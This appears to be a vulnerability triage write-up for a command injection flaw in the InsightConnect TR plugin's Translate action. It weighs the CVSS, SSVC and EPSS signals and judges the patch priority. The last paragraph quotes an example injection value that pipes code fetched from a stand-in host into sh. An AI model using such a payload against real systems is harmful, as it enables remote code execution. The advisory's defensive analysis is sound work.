InsightConnect TR Plugin EUVD-2026-39158

Exploitation requires the attacker to control the 'text' or 'expression' parameter of the TR (Translate) action on a Linux-hosted InsightConnect TR Plugin older than 2.0.3; supplying shell metacharacters in that value triggers OS command execution. Per the CVSS vector (PR:N/UI:N) no authentication or user interaction is asserted, and complexity is low (AC:L), implying default plugin behavior is vulnerable. Limiting factors: the plugin runs on Linux specifically, the vulnerable TR action must actually be invoked with attacker-influenced input (in typical deployments these parameters are fed by InsightConnect workflows, so an attacker generally needs a path to inject untrusted data into such a workflow), and the affected version must be below 2.0.3. SSVC marks exploitation as none and not automatable, indicating no turnkey mass-exploitation path is currently known.

The signals are mixed and should be weighed rather than taken at face value. The vendor-supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N, C:H/I:H/A:H = 9.8) describes an unauthenticated, network-reachable, low-complexity path to total compromise, and SSVC marks Technical Impact as 'total' - consistent with command injection. However, SSVC also records Exploitation as 'none' (no observed or public exploitation) and Automatable as 'no', and EPSS is only 0.55% (42nd percentile), indicating low near-term mass-exploitation probability. There is no CISA KEV listing and no POC referenced. A key caveat: the CVSS PR:N/UI:N rating implies fully external, no-auth exploitation, but in practice a SOAR plugin's 'text'/'expression' parameters are usually populated from within authenticated InsightConnect workflows, so real-world reachability often depends on an attacker being able to feed untrusted data into a workflow that calls the TR action - verify exposure with the vendor advisory. Net: high technical severity but currently low evidence of active or automatable exploitation, so this is a prompt-patch item rather than an emergency for most deployments, with priority rising sharply if any workflow exposes the TR action to untrusted input.

An attacker arranges for malicious input containing shell metacharacters (e.g. '; curl http://evil/x | sh') to reach the TR action's 'text' or 'expression' parameter - for example via a workflow that ingests untrusted alert/ticket data and passes it to the Translate plugin. When the plugin builds its shell command, the injected payload executes on the Linux host, granting command execution in the plugin runtime. No public POC or active exploitation is identified at time of analysis, and the low-complexity (AC:L) network vector makes the technical step trivial once attacker data reaches the vulnerable parameter.